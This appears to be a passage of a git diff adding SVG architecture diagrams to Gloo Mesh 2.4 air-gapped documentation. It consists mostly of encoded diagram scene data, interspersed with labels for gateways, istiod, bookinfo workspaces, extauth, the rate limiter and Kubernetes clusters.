5QlXGLErobNULBWLlYzwYJMmlp5gMpcdTAwMDXgXc3kUuJcdTAwMGLQNX85X1c+Q+IquCTrjGmBoKJnXHUwMDA1JFx0kFjx0E7mX9Sh5u+3rcTpIO6mXHUwMDEzs1x1MDAxMNCJRGCVI75cdTAwMTCwg4GpjMVcIqVQwFx1MDAwZmQz00nrcsUvNsD0dEHGPMOIKiNWfOJ1vMdHSiGQXHUwMDE5SsbZVvrBi1x1MDAxYuDFYLJY+PhGXCKASkfrzEVcdTAwMTFcdTAwMDBwXHUwMDA1wJtQ0eODXG56+FC769Xv0uhGTnKlenGQftynXHUwMDExXHUwMDE5RVx1MDAwNHBrXHUwMDE2ISFcdTAwMDBcIpjQYZdcYpCWNqcxRJtcdTAwMTBVuVlcdTAwMTJzoFx1MDAwNMBcdTAwMDaZzeC74MaPw/28JyaaXHUwMDAzg9KDf1hxjj1cdTAwMTYkplxi7lP1I1x1MDAxMf6lXHUwMDEywZTUYdTAJ1xuRoFcdTAwMDTbZNGcXHUwMDAyLWbo2ThcdTAwMDNcdTAwMTlcdTAwMDCg5cDH1Fx1MDAxZlx1MDAwMTDHpFx1MDAwNup2tCwyXHUwMDE3oLaZX1x1MDAwNaxcdTAwMGZcdPA5XHUwMDAyXHUwMDAyxSbFnjGgYIqxXHUwMDFiRVx1MDAxMZN7JzVcdTAwMDBy01x1MDAxY5AtR+/SMrYhRqbZnDZcdTAwMTFcdTAwMWPu0YT5u6mbYrr7yqXwXHRjXHUwMDBijFx1MDAxYZBkTFx1MDAxM2lcZseFyVx1MDAxObPDWESwboKIpVxiXHUwMDBmU0uCXHUwMDE5pU34vVx0n2Wu1Fx1MDAwN1x1MDAwNMvKjVx1MDAxZDCremSK6ixcdTAwMWQvUFx1MDAwMJjL4ElcIlx0XHUwMDAxXHUwMDBiXHUwMDBiNp1cdTAwMDAs06tmhYb6z0Wg/1x1MDAxY1xmbVBAxn1cdTAwMWNZXHUwMDAz8Fxu7rZH9Dyjs7LVOn45y5BeJ+4gUFx1MDAxYkufcFx1MDAwZdaRXHUwMDAynOfSXHUwMDAwzFx1MDAxMiZcdTAwMWJcdTAwMTeIw3Q33Fx1MDAxMFx1MDAwNIY3drO4eVx1MDAwMPChsTBcdPGrXHUwMDBmiH9cdTAwMTGeyW/jmCDic4BEgMfAPF5cdTAwMTYn+uNEn+FcdTAwMWatXHUwMDAy8Vx1MDAwZldgXHUwMDE1cmfu4DLiv8bHNURG6bbdXHUwMDFlPk5btYL9WMjGXHUwMDFk/lxiI11AVGnEtLNx4KxnK7WoIFxuwz1cdTAwMTBOlIZcdTAwMTSp2j1cdTAwMDBSIOiR8dYxMOo18yROy5nFLdiylIVcdTAwMWZcdTAwMDD0RVx1MDAwMVA4XklcdTAwMDBg0VxmNC5AXHUwMDEwXHUwMDEwjYqqpVx1MDAxZdZQyGLCZkyeJmfKeGxcdTAwMTFb6pdcbsUsxi81826BcMdMXHUwMDAxMy13TIWiXHUwMDE2XHUwMDE4kHKpTN9beFx1MDAxNFx1MDAwN0m23OVcdTAwMTiKW1x1MDAxMqZcdTAwMTSghDGl5ISZgmVLUVo4cFx1MDAwMdxCMf3lTyZGr2nHgJFwS3CrbVx1MDAxNZhcdTAwMDFcbltvanFcIlx1MDAxNj3oZZponeZoO0XEpbghR7lMZtTkXHUwMDAxcntJ/a1FeLDD+Gc9W32hsdZcdTAwMDZcdTAwMDYj9+mnXCLSmnmWTfCLMyHZI7mVILaubIBbmClcdTAwMDPGYVx1MDAxZYxcdTAwMTGTReMjvKUluVx0SleAh1x1MDAwNfErMVxiMl2o5eef+8ty922jXHUwMDEyJHqDMspcdTAwMWbT/HDSTFx1MDAxZveS9bEqyfu6yN25dM9HRjm2TFxyP9g4MOm1SSf0qYzDLGBWXHUwMDBlQkWZUzZcdTAwMTBcdTAwMTO/37Fimrsmjd71c/KhmHi4P87U0fPpuF3znVx1MDAxNLI4Nu5cdTAwMDf6K9BKI+2dlFx0ONFcZpFZhJMpL+SZ1JdKc1x1MDAwZqRuc3noelvyXHKL4FxcWsD3pt85jY5Lw1x1MDAxYjzGtHoqluaAWFx1MDAxMFDB5lx1MDAxNIe48/YwWGRcdTAwMTYoZkCubNZvOVC8bVRcdTAwMTnaOFx1MDAwN7HpayRMsSbK/GI7uDKeWoRAhlx1MDAwMW8gr2zjjFx00KeO8JR/pWybnuQmXHUwMDE35Veauu2Xq/Wbc1U6eW76iVx1MDAxMWRcdTAwMTFusvO0MFx1MDAxNeU0dpTCn4tcdTAwMTFj6Vx1MDAwMqZcdTAwMDCz2yRuzo/fV5RtK1x1MDAxNKyeYUbMNJhcdTAwMTfYpM1cbu+klCndxfmsU1x1MDAwMjee+S8t24Kp+9fdXHUwMDA1ut6ebFx1MDAwYj5z0FpcInOsXHUwMDFiPW4tvCluTGVcdTAwMWLnXHUwMDA22oNcItWgNVx1MDAxNMJcdTAwMWXZZqpcdTAwMTdcdTAwMDGCk1x1MDAxYyEldlNcdTAwMTlcdTAwMWEzZlx1MDAwMfTjQoJcdISR8olXNlx1MDAwNFx1MDAwMvDRlEiC/XeWd/gt2jSeRVx1MDAxYTpm+K+UbO3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUmXHUwMDAwIIFAXHUwMDAzy1xuTCxcdTAwMTMyRKhv1XtcdTAwMDHWXHUwMDEwXHUwMDAxQMFBjaN1q96vUq1cdTAwMWHpmSvX9OE14TN+tVx1MDAxZTVQXHUwMDFj59SUVVx1MDAwMrIk3kl9JcmWXGIkbnN5yHpFyVx1MDAxNpqVXHUwMDFlUvZemio5plRSZOGWnuCUyFx1MDAxZKN0JjdVzZRdXHUwMDE5JIvPW1x1MDAxNW5bN0tcdTAwMTVcIpbA82uh8lx1MDAxYULGXHUwMDA3Mb/0wsS2U28hSu81R0vEPyVcdTAwMTaE8YNiR/pgnCpEi/fqXe3w6eWuz8qPp/rhot9JTf520vVP77Vccsbd0fJ+lWGX9rj1fWDE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lalx1MDAwYnvWpdXCS0FNRPXGXHUwMDFlNi96veJ9u1x1MDAxNG1cXFx1MDAwZrfuuvmas6qsJ9BcdTAwMDZcdTAwMDGQ0zL6KWv49se0YYBCMlxcM2iLbEszbKN1LiZcdTAwMWNcdTAwMTHJmeOLfYPea47S+Yd35/90XHUwMDA2dv/NWfT2XHUwMDEzmucuQT0hxf5hxlx1MDAwN78nvD6Cc8aAeXp7gMFGKVx1MDAxM9FZtdu8eHtq2dUh5o+1XHUwMDE3PqKXk1Lci/5LZjpzzS+5yKnIXHUwMDAyXHUwMDFi4uParI7ddjGcXHUwMDA2TFx1MDAwZnaOI80xTlx1MDAxOO4pc1+7lfZFuXddXHUwMDFlPp3eTe+H6PlcdTAwMDfDbVx1MDAwYsPtaHm/+bDLoKH/XHUwMDAzI862UX8sJfuvXHUwMDAzXi7Iq0zj6vQ9l7jbXHUwMDAyKTRen991ppt9qvN8hqBMTySmvbhCQ0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1T